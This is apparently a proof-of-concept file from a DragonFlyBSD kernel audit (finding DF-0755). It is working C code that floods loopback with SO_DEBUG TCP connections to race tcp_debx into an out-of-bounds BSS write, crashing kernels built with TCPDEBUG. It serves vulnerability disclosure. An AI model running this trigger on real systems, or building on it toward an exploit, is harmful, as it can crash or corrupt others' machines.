DragonFlyBSD Kernel Audit
DF-0755 / tcp_oob_trigger.c
← back to finding ↓ download raw
/*
 * DF-0755 - kernel-level trigger for the tcp_debx runaway.
 *
 * The vulnerable path (sys/netinet/tcp_debug.c:tcp_trace) is reached from
 * TCP input/output/drop/user/timer handling ONLY when the kernel was built
 * with `options TCPDEBUG` AND the socket has SO_DEBUG set (see
 * sys/netinet/tcp_usrreq.c:151-160 for the SO_DEBUG gating).  On a stock
 * X86_64_GENERIC kernel this code is not compiled in (sys/conf/files:1830 makes
 * tcp_debug.c `optional tcpdebug`), so this trigger is a no-op there.
 *
 * On a kernel built with `options TCPDEBUG`, this program sprays concurrent
 * SO_DEBUG TCP connections across N threads.  Each packet through the stack
 * calls tcp_trace() which races tcp_debx.  Under enough concurrency the index
 * runs away and tcp_trace writes past tcp_debug[] into BSS -- typically
 * manifesting as a panic (INVARIANTS slab checks, page fault in BSS, or
 * corruption of an adjacent global) rather than a clean exploitable write.
 *
 * Build:  cc -O2 -pthread -o tcp_oob_trigger tcp_oob_trigger.c
 * Run:    ./tcp_oob_trigger [nthreads] [iterations]
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>

static int debug_so = 1;
static volatile int stop = 0;

static void *
pump_loopback(void *arg)
{
	long tid = (long)arg;
	struct sockaddr_in sin;
	memset(&sin, 0, sizeof sin);
	sin.sin_family = AF_INET;
	sin.sin_len = sizeof sin;
	inet_pton(AF_INET, "127.0.0.1", &sin.sin_addr);

	for (int i = 0; !stop; i++) {
		/* each iteration creates a fresh TCP socket, sets SO_DEBUG,
		 * connects to a (likely-refused) port, sends a byte. Every
		 * segment transiting the stack on a TCPDEBUG kernel calls
		 * tcp_trace(TA_OUTPUT/TA_INPUT/TA_DROP,...) which races
		 * tcp_debx globally. */
		int s = socket(AF_INET, SOCK_STREAM, 0);
		if (s < 0) { continue; }
		(void)setsockopt(s, SOL_SOCKET, SO_DEBUG, &debug_so, sizeof debug_so);
		/* port chosen to vary so we hit different pcb lookup paths */
		sin.sin_port = htons(10000 + ((tid + i) & 0x3fff));
		/* non-fatal if refused; the SYN/SYN-ACK/RST still gets traced */
		(void)connect(s, (struct sockaddr *)&sin, sizeof sin);
		char b = 'x';
		(void)write(s, &b, 1);
		usleep(50);
		close(s);
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	int nthread = (argc > 1) ? atoi(argv[1]) : 8;
	int dur     = (argc > 2) ? atoi(argv[2]) : 20; /* seconds */

	/* also start a tiny acceptor on 127.0.0.1:10000 to generate full
	 * handshakes (more traced segments) */
	int ls = socket(AF_INET, SOCK_STREAM, 0);
	int one = 1;
	struct sockaddr_in la;
	memset(&la, 0, sizeof la);
	la.sin_family = AF_INET;
	la.sin_len = sizeof la;
	la.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	la.sin_port = htons(10000);
	(void)setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one);
	if (bind(ls, (struct sockaddr *)&la, sizeof la) == 0) {
		listen(ls, 64);
		if (fork() == 0) {
			for (;;) { int a = accept(ls, NULL, NULL); if (a>=0) { char b; (void)read(a,&b,1); close(a);} }
			_exit(0);
		}
	}

	pthread_t *th = calloc(nthread, sizeof *th);
	for (long i = 0; i < nthread; i++)
		pthread_create(&th[i], NULL, pump_loopback, (void *)i);

	printf("DF-0755: spraying %d threads x SO_DEBUG TCP for %ds on TCPDEBUG kernel...\n",
	    nthread, dur);
	sleep(dur);
	stop = 1;
	for (int i = 0; i < nthread; i++)
		pthread_join(th[i], NULL);
	printf("DF-0755: pump done. If kernel is still up and was built with\n"
	       "         options TCPDEBUG, tcp_debx likely raced OOB; check dmesg /\n"
	       "         panic signature for BSS corruption / INVARIANTS slab trip.\n");
	return 0;
}